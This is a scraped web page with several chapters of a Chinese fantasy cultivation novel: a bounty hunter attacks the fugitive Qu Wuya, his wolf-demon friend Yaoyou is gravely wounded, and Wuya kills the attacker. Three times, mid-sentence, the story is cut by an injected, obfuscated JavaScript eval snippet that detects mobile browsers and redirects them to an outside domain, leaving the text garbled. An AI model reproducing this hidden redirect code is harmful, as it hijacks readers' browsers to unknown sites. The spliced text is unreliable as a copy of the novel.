“不,不是你的错觉,那就是无涯,他在被人追杀。” “我的娘啊。”陶梅发出惊叹。 遥幽语气急促:“你在这等着,我去帮他。” “等等!”陶梅也想跟上去,奈何她的速度哪里跟得上修行之人和妖,她边跑边喘气。 眼见他们出了镇口,往山中而去。 她气喘吁吁地叉着腰,把手中喜服往地上一扔,道:“跑,跑哪去了,他们。” 瞿无涯已经风餐露宿很多个夜晚,随着通缉范围的扩大,他没办法再到城中行走。好在他开始修行后,体能增进,生存能力也提高。 他尽量走山路,饿了就摘点果子吃,馋了就猎点野禽开荤,实在受不了再进城找地方洗个澡。溪中固然可以洗冷水澡,但人的心灵需要热水浸泡。 等到阳镇,他自觉离家近,不禁放松警惕,进镇要找地方沐浴,结果就被逮捕了。 钟离柏说过,打架最重要的就是,先判断自己能不能赢,不能赢就跑。 他判断出来了,自己打不过。 而且不能在镇上打,引得人群来,只会有更多人觊觎悬赏金,届时生还的可能性更小。 焦英自认是聪明人,事实上,他确实也比周围的人聪明一大截。而在那场机缘降临之后,他更认为自己是天选之人。 十三岁时,井荣真人找地方清修,路过阳镇,收他为徒。不受雇于家族的修道者统称为散修,但真人和散人还是有所不同。 散人是完全自由的修道者,而真人通常和四大家族、王族或是其他较小的家族有关联,只是不隶属于他们。而井荣真人的合作家族是西州诸家,也就是说,跟着真人,以后前途无量,光明坦荡。 自此,他跟着井荣真人去了西州岚霄城。可到了岚霄之后,他才知晓什么叫天才遍地走,怪物多如狗。他的天赋在这群天才中只能说是平平,无论再怎么努力忍受枯燥的修行,也没办法比过那些妖孽。 他借口探亲回到阳镇,实则是要逃开压力。果然,在故乡这群土包子中他重获优越感,重整旗鼓回岚霄城。 这次,他改变战略,不再一昧地苦修,而是和岚霄各色有权有势的人物打好关系。终于,他获得了一个机会,接近人族最核心的秘密,尽管只是靠近边缘。 他利用那点皮毛,走了一条捷径来提升自己的修为。 圣都,太子府。 轩辕琨打开一本灵书,书自动翻页,很快,书翻到底,合上。 “凌友,你说这《西州纪事》,为何没写焦英被井荣真人逐出师门的具体原因?” 凌友正是那日车队的首领,他今日是便装,没着盔甲,恭谨道:“属下不知。” 轩辕琨自然也不是指望凌友给出什么回答,只是他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126470|180071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如今没什么人能说话。在外人面前他是神秘尊贵的王太子,一言一行必须要有深意。 这个时候还真有些想钟离,他叹气。 “好徒儿叹什么气呢?” 肖李散人墨发红衣,明艳张扬,乍一看像是活泼的少年,唯有仔细看她的容颜,才能感受到岁月的沉淀。 这不是说她的相貌不年轻,只是经历的磨炼会在眼睛中留下痕迹。 “年纪轻轻就爱叹气,会容易长皱纹的。” “师父。” 轩辕琨显然习惯肖李没有长辈样的做派。 “我只是好奇,井荣真人不是在南州收过一个叫焦英的徒弟吗?后来这个焦英被逐出师门,却没有公布具体的原因。想来是家丑不可外扬吧。” “哎,这事,为师跟你说,为师还真知道些机密。”肖李神秘兮兮地道,声音变小,“听说啊,是修习吸收别人修为的邪功。” 轩辕琨面色不变,没有配合肖李露出惊讶的表情,肖李不满地敲他的额头。 “木孩子,一点都不好玩。” “还有这种邪功么?” 肖李耸肩,道:“谁知道呢,天下之大,无奇不有。不过,逐出师门的时候,他一身修为被废,也不能再修行。你关心这个做什么?” “想起了一个人。” “什么人什么人?”肖李很感兴趣,问道,“是姑娘吗?” 轩辕琨失笑,道:“师父你想到哪里去了,是男的,一个挺有意思的人,又有点奇怪。” “哪里奇怪?” “他的出现很奇怪,非常不合时宜也不合情理。” 肖张没听懂,惋惜道:“哎,你真是我带出来的徒弟吗?怎么整天神神叨叨的,为师的潇洒坦荡一点没学到。” “还是没有无涯的消息吗?”原无名喃喃道,他已经在东州,收到钟离柏的来信,里面写为了避免麻烦,钟离肃被钟离家藏起来。而瞿无涯自那日之后就没了踪迹,也许是一件好消息,证明也没其他人追踪到他。 “看什么呢?” 出声的女子声音低沉,灰褐长衫,长相英气,眉毛浓密锋利,双眼深邃,是非常馥郁的美感,可鼻梁直挺,下颌棱角分明中和这份美,显出几分俊。但神情非常单薄,盖过了多情的长相。 “钟离的信。”原无名递给她,“你要看吗?” 女子很嫌弃,道:“算了吧,整整三张纸,估计有用的话就三句。” “你这样说话,钟离会伤心的。”原无名笑道。 “那也没有你一趟任务报废两个瞬移器让我伤心。”从景同面无表情道,“遇上什么事了?” “交了一个朋友,碰到妖王和妖君了。” 从景同这才仔仔细细打量他,没缺胳膊少腿,道:“跑得挺快,懦。” “我最多接妖君三招的实力,还是要识时务的。” 一般人会以为这是一句自嘲,从景同了解原无名,听出他的不甘心,也没安慰他,道:“你的眉毛该修了,没修好前别在我面前晃。” 原无名手摸着眉毛,从景同喜欢对称、整齐,他的眉毛天生不太对称,不仔细看是看不出来。也没有人仔细看这种东西,但从景同对尺寸、形状很敏感,非常在意。 为此,诸眉人在从景同面前从不带不对称的首饰。 26. 第 26 章 废人。 这是焦英被逐出师门后听过最多的话——也许不是最多,但每一句他都会记住。曾经见过世间之大,又如何甘心窝囊此生? 他不甘心。 阳镇是个小地方,四处充斥着流言蜚语。从前敬他惧他之人都可以来踩他一脚,奉承巴结他的人也远离背弃他,连至亲之人都不理解他,认为他不珍惜机遇走邪门歪道,自食其果。 那群连修炼都不会的垃圾,也配落井下石? 可他失去修为,不再是天才,也没有其他傍身的东西,没有能力去惩治这些家伙。重回普通人的生活,武力不能再解决一切。 但他并没有放弃,那段“品性不端”的日子并不是一无所获,尽管为此付出沉重的代价。 那个秘方,改良一下也许能让他重获功力。 经过数十年的研究,好消息是成功了,坏消息是成功了一半。而他的心气也在漫长的岁月中被消磨,不再想象重回那段光辉时刻。 如今,他只想过求得余生的荣华富贵,至少要在这个阳镇出人头地,让那些看不起他的人后悔! 所以,在看见通缉令的那一刻,他感到属于他的机遇来了。就和二十年前被井荣收为弟子一般,他必须要把握住这个机会。 一千两黄金,足够他把那些人都踩在脚下。这些年,他沉迷于研究重获功法的秘方,没有心思在其他繁琐杂事上,吃爹娘的用爹娘的,还在外欠了些钱。 被那些小喽啰追债的感觉着实让人恼火。但有了这些钱就不一样了,他可以有更多的财力去研究秘方。他记忆力很好,这个通缉犯,他绝对是在阳镇见过的。 而上天也在庇佑他,真让他找到了通缉犯。 他研究出来的丹药,只能短时间内刺激他已经被废的经脉,让他重回当年的实力。 也够用了,这个瞿无涯,很弱小。 焦英吞下丹药,拔出剑,刺向那个鬼鬼祟祟的通缉犯。 冷风刮得瞿无涯耳朵冻红,但他不敢停下来。杀意,很浓烈。 之前在沧澜城被千瞳府追杀时,也没有这么浓烈的杀意。 很危险。 可是逃不掉了,两人的距离逐渐拉近。瞿无涯停下来,调整呼吸。这次,不会再有原大哥从天而降。 他要,独自面对和战斗。 在钟离柏那学了很多东西,也练过不少次万指变,等真正要战斗时,他脑海里浮现的却是从小到大一直练习的四海剑法。 原大哥评价四海剑法很有意思,看着容易学习,都是非常基础的剑招,用来配合灵力运转也不生涩。一般人大概会以为是随处可见的简单剑谱,但把剑招组合起来,却很刁钻。 可要说是什么绝世武功,也算不上,剑谱能看出创造者的心境。很显然,这么简单的剑招,连招式都没有命名,证明写这本剑谱的人压根儿没上心,只是天赋太高,就这样乱搞一通也能写出一本还不错的剑谱。 “终于不跑了?”焦英眼下青黑,面目憔悴,笑得太夸张反而显得阴森。他身姿有些佝偻,像许久没有拿过剑的模样。 交手时,瞿无涯察觉对方灵力紊乱,像是控制不住一般会溢出来,很奇怪。 基本的过招后,他断定对方确实是很久没用剑,只是对方的修为远在他之上,他根本接不住招。 瞿无涯被焦英剑中蕴含的灵力击退,他扶着树稳住身体,胸口发闷。四海剑法是套连招,他调动体内灵力,感受其在经脉中的流淌,主动攻击。 横刺,直突,下劈,他从未与人正经交战过,只能尽量做到规范。 “太僵硬了。” 焦英的经验比瞿无涯多太多,轻松地接下招式,道:“空有其形,毫无剑意,你会打架吗?” “这个水平,也不知道你怎么活到现在的。但你的好运到此为止了。” 瞿无涯抿嘴,重新摆好战斗的姿势。 在焦英眼中,不过是小孩扔石头,他也结束对瞿无涯的试探,无趣。 他重新在体内感受到灵力流转,这种久违又熟悉的美妙让他振奋不已。灵力被凝聚在剑上,他往前一挥。 瞿无涯勉强用剑格挡住,却承受不住剑意,步步后退。剑意带风,周围的树枝摇晃,有些枯死的枝掉落下来。 “这招叫顺风意,风云剑法的第三式,以防你不知道自己死在什么剑下,告诉你一声。” 焦英笑道,他许久没有这样开怀过。 瞿无涯被击飞在地,捂住胸口,往旁边吐出一口血,黄土深了一块。五脏六腑像被震碎一般痛,他挣扎着用手臂撑住想起来,却最多只能做到半躺着。 要死了吗?他手指嵌入泥土中,想用另一只手去捡一旁的剑,可经脉痛得连手难抬起。 死亡竟来得这么轻易。 这就是凤休想要的吗? 啊,自己真的太倒霉了,下辈子一定少管闲事。 都说人濒死前回有走马灯,瞿无涯却在思考问题,若是现在他又碰到一个昏迷不醒的人,会带回家吗? 大概还是会的吧。 那就也没什么好后悔的。 遗憾的事呢?没有带陶梅去北州,甚至自己都还没出过南州,有太多事想做,一时间都不知哪点最遗憾。 焦英走过去,举剑,正要刺向瞿无涯的心脏。 一道身影袭来,握住了剑身。 剑锋正擦着瞿无涯的衣服,血滴在他的胸膛。。 焦英一顿。 遥幽空余的手捏着灵力,聚成一团,朝焦英攻击而去。 焦英抽出剑,侧身躲过,道:“你是何人?也是为悬赏金而来吗?” “不。”遥幽扶着瞿无涯,让他坐靠在树旁,“我是他朋友。” 这是第一次,遥幽承认他们是朋友。瞿无涯欣喜地弯了眼,道:“遥幽......” "人都要死了,少说两句省点力气。"遥幽一如既往地不吐象牙。 “妖和人做朋友,还真是罕见。”焦英嗤笑道,“令人感动的友谊啊。” 这人废话很多。遥幽右手凝着灵力,他不会战斗,顶多会点自保的术法。 希望他的修为可以胜过这人。 这点,焦英也发现了,这个妖只会蛮横地使用妖力。素来听闻妖族不开化、野蛮,果然是真的。这种战斗方式毫无技巧也没有效率,全是破绽。 很快,遥幽的灵力就要支撑不住,直接用灵力攻击的方法太费力。且焦英越战越有手感,仿佛真回到还在西州的岁月。 “别枝头,这是第五式。”焦英胸有成竹,道,“你这个年纪的妖,就这么点修为,也太不勤奋了。而且,你根本不会战斗。果然,妖都是这般愚蠢野蛮,只知道莽用灵力。” 遥幽喘着气,用灵力凝出一道灵墙,格挡焦英的剑。这是他最后一点气力,灵墙裂开,他被震得后退,嘴角流出血。 “你输了。”焦英下结论,目光转向瞿无涯。 瞿无涯伸手,使了点灵力,剑回到他的手中,握紧。他把剑刺入地上,支撑着站起。 “我感觉我恢复一点了。” 确实恢复了一点,在焦英刺向他心脏时,他尽力挪动身体躲开。刺中 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但他还是有了朋友,唯一的朋友,不会歧视他、畏惧他、利用他的朋友。也许他们相处并不多,也许他总是很嫌弃瞿无涯,可在他思考自己为何会来到这个世上受磨难时,他会想起瞿无涯。 看,总还是有人把他当朋友,在意他的,这一切也没那么糟糕。 遥幽握紧拳头,变回了妖形。通体雪白的狼,一双冰蓝色的眼睛凶横地盯着焦英,冲他嘶吼。 这是雪狼?焦英眼睛一亮,这种狼很是罕见,皮毛及其御寒又光洁明亮,因而卖得相当昂贵。 狼疾跑而来,扑倒焦英,想咬断焦英的脖子。焦英用剑卡着狼的牙齿,左手聚出灵刃刺入狼的肚皮。 血染红了洁白的毛发,狼痛苦地嚎叫。 “遥幽!”瞿无涯心脏疼得难受,眼泪一下便滑出,捂住胳膊的伤口,泪水和血水湿咸地混在一起。 “变成畜生也一样不会打架。”焦英阴狠地笑道,“白瞎了狼这么好的作战天赋。” 狼纯凭本能,爪子划破焦英的衣服,刺入臂膀。焦英皱眉,这点疼痛,还可以忍受。 焦英抬拳,击打狼的腹部,伤口涌出更多鲜血。狼失力,顺着力量在地上翻滚几下,一双眼还瞪着他。 “爪子还挺利索的。”他检查了一下胳膊的伤口,不算很深,“等下再来收拾你。” 焦英毫不在意,起身就要往瞿无涯那去。 狼不甘心地站起,因失血过多,站得不稳,缓慢地移动着。 焦英感到脚上不知哪来的阻力,他低头一看,狼正咬着他的裤腿,眼神涣散,意识模糊也要阻止他。 他一脚踹开,狼仰躺在地上,气息越发微弱。 “不要!遥幽!不要,不要伤害他,你不是要我的命吗?你杀我吧,你杀我吧,你不要伤他。” 瞿无涯失神地看着遥幽,泪水浸润土壤,喃喃道:“我求你了,别打他。我不反抗了,你杀我吧,我求你放过他,行吗?” 他摇摇晃晃地往遥幽那走,想给遥幽疗伤。 “是他自己送上来找死的。”焦英哈哈大笑,“虽然我没打算放过他,可你现在说也晚了。我刚才打他用的是钢骨拳,他经脉已经碎裂,马上就要死了。” 雪狼的妖丹和皮毛,甚至眼睛都值钱。趁药效还在先废了经脉,也省得这雪狼还有力气来阻拦自己的好事。 死?遥幽要死了?瞿无涯一激灵,狼逐渐没有生息,像是睡去一般安静,只是那双眼还睁着。 最后一缕阳光消失,黑暗中狼瞳亮着,却没有转动。 27. 第 27 章 “原大哥,这剑法我学了,也能使出来,为何总有一种还是不会的感觉?” “这个......练习是练习,战斗是战斗。任何功法,都是在战斗中熟悉,你能使它,不代表你和它熟。这就和小孩背书一样,他们背的那些典籍,其实自己也未必懂其中的意思。不过呢,多加练习肯定是会精进的。” “哦,那我是不是该和人对练?” “这倒是,可惜钟离不喜欢打架,我最近没空和你练习。等有机会,我们可以试试。” “好,谢谢原大哥,那我继续练了。” “无涯,虽然我没学万指变,但我可以给你讲一下万指变的源头,有助于你理解这个功法。钟离人基本是用刀,万指变比较特殊。你先说一下你的想法。” “我感觉这个功法的主人,是在灵仙山上看风景来的灵感。” “哈哈,你说的没错,这确实都是灵仙山的风景。但并不是你想得那么美好,这是葬骨川之战中一个幸存的钟离先人开创的。那场战争,钟离去了很多医师救治伤者,但死的肯定要比活下来的要多。 先人回山后,虽尚有亲朋好友在旁,他却难以在感受到喜悦这种情绪。他每日就在山崖看海,万指变这套剑法随之出世,在此之前他一直都是用刀。有人问他,为何不是刀法,他说,刀死了。” 瞿无涯没去过灵仙山,想象不出青山下、潮水归、晚云落是什么画面。他一直以为是歌颂美景,叹世事无常的寂寥。 直到方才,他才领悟,这不是歌颂美景,也不是寂寥,而是悲伤,彻底的悲伤。 望着世间罕见的美景,却彻底失去感知的能力,这是死剑。千千万万的事物都在改变,唯有先人停留在过去,出不来。 晚云落,未必是灵仙山的晚云,也可以是苍阳山的晚云。 瞿无涯止住眼泪,舍弃无助。他总是这样,轻易地让别人掌控他的命运。竟然还寄希望于追杀他的人能留遥幽的性命,多么弱小又多么可笑! 钟离柏说过,由于经脉的不同,比起妖族,人族能更有效地利用灵力,这也导致人族比妖族更依赖功法。优秀的功法,能将每一点灵力都发挥到极致,可以帮助人族战胜强大的敌人。 所以,用着启天剑法的原无名杀魇箬有些麻烦。但若原无名用更强势的功法,两个魇箬也随便杀。 他不知道风云剑法是多上乘的功法,但他已经别无他选,只有赢,只能赢。 四海剑轻轻震动着,泛出青青光影。 青山下! 瞬间,周围好似枯木逢春般充满生机,在剑招结束后又重回凄凉。 焦英吃力地接过这一击,警惕起来。药效差不多要到了,他必须赶紧解决。 这个功法很厉害,他几乎要接不住其中的悲意。 潮水归! 周围浮起雾气,水蒙蒙中瞿无涯一剑刺去,他从未觉得灵力在经脉中运转得如此畅快过。他感受不到身体的疼痛,也感知不到外界,心中唯有剑,剑。 焦英额头冒汗,被击退,剑在地上滑行,稳住脚步。 第六式,下巫山。 晚云落! 漆黑的夜空中浮现晚霞,照亮周围,瞿无涯凝神静气,全神贯注这最后一击,剑挥出去,带着晚霞的残影。 火红的光芒刺在瞿无涯灰暗的面容上,也刺进焦英的眼瞳。 这不可能!焦英震惊地迎战,方寸大乱。这个瞿无涯方才明明连战斗都不会,使的招数生硬无比,连杀意都没有,怎么可能这么短时间内融会贯通这么厉害的功法? 难道他这一生,成也在天才,败也在天才吗?他努力了那么多年,就要输给这个毛头小子的天赋吗? 他不甘心。 晚霞消失,焦英手中的剑也跌落在地,他嘴中涌出血,药效其实还没消失,但他的灵力已经不够用了。 “别杀我,求——” 话音还未落,四海剑刺入心脏中发出“噗嗤”一声。 焦英临死前看见的最后一幕,少年冷冽的脸,泥血混在那张脸上,黯淡又肮脏,唯有那双薄凉的桃花眼中带着恨意,如同爆发的火山。 陶梅顺着痕迹在山中找了很久,一无所获。直到看见天空乍起晚霞,她疑心是无涯他们,便匆匆赶来。 地上躺着一只狼,雪白的皮毛已经被血泥染脏,她心中一惊,难道是遥幽么? 还不待她有所反应,便看见相持的两人。 月光下,冬风中,瞿无涯的剑刺在焦英的胸口。 陶梅从没见过这样的瞿无涯,锋利得像刚被锻造出的剑,滚烫又蓄势待发。她知道瞿无涯的冷脸唬人,但这不是冷脸,是痛苦,是悲伤,是愤怒。 一片雪花飘落,落在瞿无涯握剑的虎口上。 啊,下雪了。 这是瞿无涯第一次杀人,没什么感觉。他扔下剑,到遥幽身旁,跪下查看遥幽的情况,遥幽的眼睛已经闭上。 他探鼻息的手颤抖,还好,还有一口气。 滥用灵力让他反噬,血似漱口水般从嘴中流出,他毫不在意地继续施法给遥幽治疗。 要先止血。 “无涯!” 陶梅唤他。 瞿无涯茫然地转头,甚至都没在意陶梅怎么会在这里,道:“阿梅,遥幽会不会死?他是不是要死了?” “不会的。”陶梅一抹眼泪,“不会的,我们把他送去陈爷爷那治,陈爷爷医术那么好,他不会有事的。” 雪逐渐变大,落在瞿无涯的眉梢发尾间,又融化在黑夜里。 “可是这个血止不住啊,为什么止不住?”他盯着那道深可见骨的伤口,“都怪我,是我太没用,才会连累遥幽,现在连愈合术都做不好。” “我应该多跟钟离学一些医术的。” 陶梅半跪下,强迫自己不要因为不忍移开目光,她摸着那道伤口,道:“无涯,这好像有东西。我不知道是什么,但我能感到不太对劲。” 经陶梅提醒,瞿无涯才仔细看,发现那个灵刃竟还没散,卡着伤口才不能愈合。陶梅没有修为,自然是看不见这东西。 他才想起,原大哥跟他提过。因妖的自我修复能力太强,所以凡是用灵刃攻击,都是特殊的灵刃,能在伤口维持一段时间不灭,让伤口无法自我愈合。 他太蠢了,竟然会忘记这个。 取出灵刃后,瞿无涯终于把血止住。他抱起遥幽,道:“阿梅,我先回去找陈爷爷医治他。” “好,你不用管我。”陶梅道,“快去吧。” 瞿无涯在回来的路上试过几次御剑飞行,效果都没有很好,而且十分消耗精力。 不行也得行,他唤起四海剑,站到上面,默念口诀。一开始还行,半路实在是没有灵力支撑,跌到地上。 好在离碧落村已经不远了,他看见遥幽的眼皮似乎动了一下,道:“抱歉,有点颠簸。” 也不知道遥幽还能不能听到,但遥幽若是有意识,肯定是要骂他是不是想晕死自己。 “遥幽,你坚持一下,马上就到陈爷爷那了。你不是说过,妖的身体都很强悍吗,说你不需要我来担心。” “就当我求你,千万不要死,好吗?” 风雪堆在狼的皮毛上,洗掉一点污渍。瞿无涯的脸被风雪冻住,惨白而冰冷。 瞿无涯抱着遥幽一路奔跑,到了陈爷爷家门口。已经是深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126472|180071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夜,屋内熄灯。他顾不得会不会被村民们知晓,急促地敲着门。 “陈爷爷,陈爷爷!” 没人答应,他又喊了几声。 这才听见一句“来了”。 屋内亮起烛火,陈爷爷拿着蜡烛,打开院门,道:“大半夜的真有精神——无涯?你,你这是?” 旁边的屋舍也响起声音,显然,被吵醒的不止陈爷爷。 “陈爷爷,求求您,救救他。”瞿无涯抓住陈爷爷干瘦的手腕,语速快到像是怕陈爷爷一口否决,“您让我干什么都行,求求您,救他一命。” 眼见大伙就要出来看热闹,陈爷爷叹气,不忍道:“这孩子,上来就说这种话。先进来吧。” 瞿无涯抱着遥幽随着陈爷爷进屋,他能坚持到现在,纯是吊着一口气,进屋后松了这口气,便直直地倒在地上。 “扑通”一声。 “无涯,无涯!”陈爷爷一惊,见瞿无涯失去意识,一人一狼就这样躺在地上,不由得道,“造孽啊,造孽。” 自己的命也是个未知数,倒是全心全意地担心一只妖。 瞿无涯醒来时,浑身酸痛,尤其是胳膊——哦,他胳膊受伤了。他从塌上起身,想找遥幽,看见遥幽躺着一旁床上,他正要过去看。 陈爷爷端着一碗药进来,道:“别乱动,伤这么重还想跑哪去?” “陈爷爷。”瞿无涯目光担忧,道,“遥——妖怎么样了?” “先喝药。”陈爷爷把碗递给他,“他伤太重,偏偏经脉碎裂,体内灵气没法运转修理。现在用药吊着一口命,变回了人形,也不知道能不能醒来。” 瞿无涯一口喝完滚烫的药,道:“那没有办法治吗?” “经脉碎了,就算有幸能醒来,也是废了。”陈爷爷摇头,道,“更何况,光靠药物无法让他醒来。遇到病痛,身体会做出应对去抵抗病痛,药物只是引导辅助作用。他经脉既碎,身体就相当于死了,又怎么反抗?” 瞿无涯走到床边,蹲下。妖要濒死时都会变回妖形,现在变回人形,证明命保住了。 遥幽脸上没有一丝血色,嘴唇都是灰的,呼吸也十分微弱。他想起灵书上的治疗功法,尽管灵力还没恢复多少,他把灵力输进遥幽体内。 “无涯!”陈爷爷注意到他的动作,制止道,“你这是干什么!你这样做没有用的,他利用不了这些灵力,你这是在伤害自己的身体。” 看见遥幽脸上有了点血色,瞿无涯轻轻地笑,道:“我知道。”治疗功法的原理是拿灵力当药用去帮对方梳理伤口,但遥幽已经“死了”,灵力也只能短暂地在他体内游走,很快这点血色还是会散去。 陈爷爷长叹一口气,道:“老夫能力就到这了,也许找钟离家的人,他们会有方法修复经脉。” 钟离、沧澜城、凤休,瞿无涯笑了一声,双手撑在床榻上,捂着脸笑。 这一起都太可笑了,不是么? 妖要杀人,变成人杀人,再变成人杀妖,最后的结局是人杀了人。 大人物轻轻的不高兴,就得让小人物漫长的痛苦与不幸来买单,他和遥幽都是微不足道的小人物。 他曾想,也许有一天凤休会不在意自己,觉得太小题大做了,就撤下通缉令。 一个人族,也没什么值得妖王大动干戈的地方吧。 或者有一天,他能变得强大,可以以平等的地位和凤休对话,不再需要狼狈逃窜。 他不会再痴心妄想,不要再当一个小石头,提心吊胆地移动着,生怕咯得凤休不舒服,而是要成为一把利刃刺穿那颗傲慢的心脏。 哪怕只是蒲柳之姿,无法长出利齿,他也不会再逃避。 28. 第 28 章 “君上,该启程去王都了。” 魇瞳面前是一口冰棺,道:“事情办得怎么样了?” 冰棺里的女子闭着眼睛,嘴角还含着笑意。魇瞳想,阿箬一向爱美,比起用狐形,还是更爱能穿戴首饰的人形。 “基本都已经抓获处死,只剩下一个紫妍还在外逃窜。” 魇瞳摸着冰棺,缓缓道:“总是这么不争气,连手下不会管束。主子都殒命,他们不殉葬也就罢了,还敢逃。” “钟离肃呢?钟离家还是不肯放人吗?” “是的,钟离家声称自从少君掳走钟离肃之后,他们再没见过钟离肃,想来他们是不愿把钟离肃交出来殉葬。那日闯进幻境中的三人,一个是北州的剑客,剩下两个动手太少,没有信息。” “但北州剑客的身份基本确认,赤影剑的主人,只用一套启天剑法,通缉榜上悬赏没断过,之前几乎不在南州活动。相貌不知,姓名不知,关于他的消息很少,因只用一套剑法,众人称他为‘一剑’。只是,他通常都是独自行动,不知为何这次竟然有三人。” 这让魇瞳思索了一会,才道:“这个一剑,先是独身刺杀了阿箬两次,再是三人一同行动。证明这次目标对一剑来说有些特殊,他肯定和钟离家有关系。阿箬做过最张扬的事就是掳走钟离肃,这是和他之前目标有区别的地方。” “给本君盯紧钟离家,再把一剑涉及的案卷整理出来。事过必留痕,本君定要挖出他的真实身份。” “谲凰妖君和此事应当没有关系。少君说王上在沧澜城养了一个人族情人,只是不知出了什么事,王上走了,情人不知所踪。谲凰妖君是寻王上踪迹才来此,而后王上居住的院落被火烧,谲凰妖君给一个人族下了通缉令。” “属下以为,大约是王上和情人不欢而散,谲凰妖君是在给王上收拾残局。” “真有意思,王上对人族有了兴趣,去查一下这个人族什么来历。”魇瞳深深地看一眼魇箬,道,“阿箬,父君先走了,你就在这千瞳府等着,等着你的情郎来和你殉情,等着父君把那些人的头颅拿来祭奠你。” 杀人容易抛尸难,陶梅不知是什么情况,怕这尸体被人找到给瞿无涯带来麻烦。 她捡起尸体的剑,开始刨坑。 月黑风高,挖坑藏尸,四周只有风声悉簌簌,陶梅若是胆子再小一些,只怕已经被吓死。 忙活了一晚上,她才把人埋好。 大雪缤纷,掩盖掉地上的那些龌龊。天都要蒙蒙亮,她累得想就地一睡,但还是向碧落村而去。 无涯一定很难过,这种时候,她不能让无涯一个人待着。 果然,人的潜力都是被逼出来的,在之前,她从没想过,自己赶山路能这么快。 等到傍晚,她才到村中,她小心地避开人群,到了陈爷爷的院子。为方便看病,门白日都是不关的,她顺利地进去。 听见里头有人在说话。 “陈爷爷,您听说过神仙骨吗?” “神仙骨?”陈爷爷停顿一下,才道,“那不是传说中的东西吗?” 瞿无涯平静地道:“神仙骨可以救他吧。” “这个,传闻中神仙骨是能生死人而肉白骨。”陈爷爷摸着胡须,“也许是可以的,只是这又不是大白菜,说有就能有的。” “遥幽怎么样了?” 陶梅扶住门框,问道。 这又让陈爷爷一吓,这真是,怎么陶梅也来他这了,两人一妖真是一个比一个麻烦。 “梅丫头,你怎的在这,爹娘找你都要找疯了。” “命保住了,但不知能不能醒来。”瞿无涯这才有精力思考陶梅昨夜的出现,“你,发生什么事了?” “我逃婚了。”陶梅昂首挺胸,道,“我爹娘逼我嫁李奇胜,我不想嫁。” 陈爷爷训道:“既然回来了,还不先去给爹娘报平安。” “我才不,到时候他们又要逼我嫁人。” 瞿无涯疑惑:“为何突然逼你嫁给他?” 陶梅耸肩,道:“还不是因为李奇胜他自己倒霉,要去给妖当奴隶了,着急留个后呗。谁要给他留后?” “哎,梅丫头你这个没良心的。”陈爷爷吹胡子瞪眼,“你爹娘早后悔了,把你逼走,他们说只要你回来,不逼你嫁人了。” “真的?”陶梅先是一喜,而后拿乔道,“哼,谁让他们先逼我的。” “那李叔?”瞿无涯担忧道。 “他啊,头发都愁白了。”陈爷爷摇摇头,“无涯,你既然回来了,也去看看你李叔吧。今早你昏迷着,他来问半夜的动静,见了这半妖也没说什么。” “你也别怨你李叔,他驱逐妖也是为了村民的安危。” 瞿无涯点头,道:“我知道的,我这就去跟李叔道歉。”若是凤休是在碧落村恢复记忆,也许真会伤害到村民,李叔也是为大家着想。 是他之前太天真了。 陈爷爷一挥袖,道:“行行行,都走吧都走,在这闹腾死了。” 去村长家和陶梅家的路有一部分是共同的,瞿无涯和陶梅走在路上,上一次这样仿佛是前世的事一般。 “你还好吗,无涯。”陶梅踌躇地问道,“阿休呢?” “还好,别担心我。”瞿无涯没正面回答第二个问题,“发生了很多事,我明日再同你说吧。” “好,你走后,我在山上碰到遥幽,和他聊天,发现他其实挺好的。”陶梅垂目,“后面,我逃婚,就拉着他一起去找你。我也没想到......其实这都怪我吧,要不是我这么任性。” “他是为了保护我,这不怪你。”瞿无涯自嘲道,“我到昨日,才知他是狼妖不是狗妖。其实我根本不了解他,也不值得他为我这样。” 等到分岔口,陶梅抱住瞿无涯,带着哭腔道:“无涯,这不怪你,也不怪我。该死的是那具尸体,这一切都怪他。” 不,这也不怪他,人为财死。瞿无涯拍拍陶梅肩膀,道:“别担心,我会好好的。明日见。” 陶梅松开手,挥手道:“明日见。” 到村长家时,里面炊烟袅袅,正在做晚饭。李婶红着眼,端上一盘烧鸡,见着他,惊道:“无涯?” 村长闻声而出:“无涯。” “李婶好。”瞿无涯恭敬道,“李叔,我是来同您道歉的,我给村子添了不少麻烦。我从前太幼稚,没为村民们考虑。您放心,我会带半妖走,不会让他留在村中。” “唉,你这孩子。”村长目光复杂,“先别说这些了,来吃饭吧。” 瞿无涯一瞬间想流泪,道:“好,谢谢李叔。” 多少钱可以买一条人命?村长不知道,但他确信他买不起。但奇胜是他唯一的孩子,他不能眼睁睁看着奇胜去送死。 若有什么报应就报应在他身上吧。他给瞿无涯夹了一块鸡,道:“来,吃肉。” 瞿无涯笑着道谢。 他想起无涯幼年时,也总是这样道谢。明明是放养大的孩子,却这么知感恩懂礼数。 李婶盛饭,又往上添菜,送到李奇胜的屋里。 瞿无涯的目光随之看过去。 “奇胜已经很多天不出房门了。”村长解释道,“李叔是恨自己老了,不能替他去。” 瞿无涯问道:“这个可以替吗?” “年龄相仿就行,使团会看骨龄的。”村长解释道,“有钱能使鬼推磨,可是我这个当爹的也没多大出息,没有那么多钱。” 正当瞿无涯还想再说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 